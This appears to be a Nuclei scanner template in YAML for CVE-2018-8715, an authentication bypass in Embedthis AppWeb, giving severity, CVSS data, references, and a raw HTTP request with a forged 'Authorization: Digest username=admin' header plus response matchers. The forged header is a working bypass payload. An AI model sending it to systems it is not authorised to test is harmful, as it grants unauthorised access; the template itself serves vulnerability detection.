48 lines
1.8 KiB
YAML
48 lines
1.8 KiB
YAML
id: CVE-2018-8715
|
|
|
|
info:
|
|
name: AppWeb - Authentication Bypass
|
|
author: milo2012
|
|
severity: high
|
|
description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
|
|
remediation: |
|
|
Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.
|
|
reference:
|
|
- https://github.com/embedthis/appweb/issues/610
|
|
- https://blogs.securiteam.com/index.php/archives/3676
|
|
- https://security.paloaltonetworks.com/CVE-2018-8715
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-8715
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2018-8715
|
|
cwe-id: CWE-287
|
|
epss-score: 0.00927
|
|
epss-percentile: 0.81212
|
|
cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: embedthis
|
|
product: appweb
|
|
tags: cve,cve2018,appweb,auth-bypass,embedthis
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Digest username=admin
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<a class="logo" href="https://embedthis.com/"> </a>'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100ff719ce688389fefb29a3a5bcec8e1dbf575ea67fefcc81dc6815e5cc98921f20220768060f7f5a7c33640c226a87f06f8f22b718354054e216e696fddb7aaf16d58:922c64590222798bb761d5b6d8e72950 |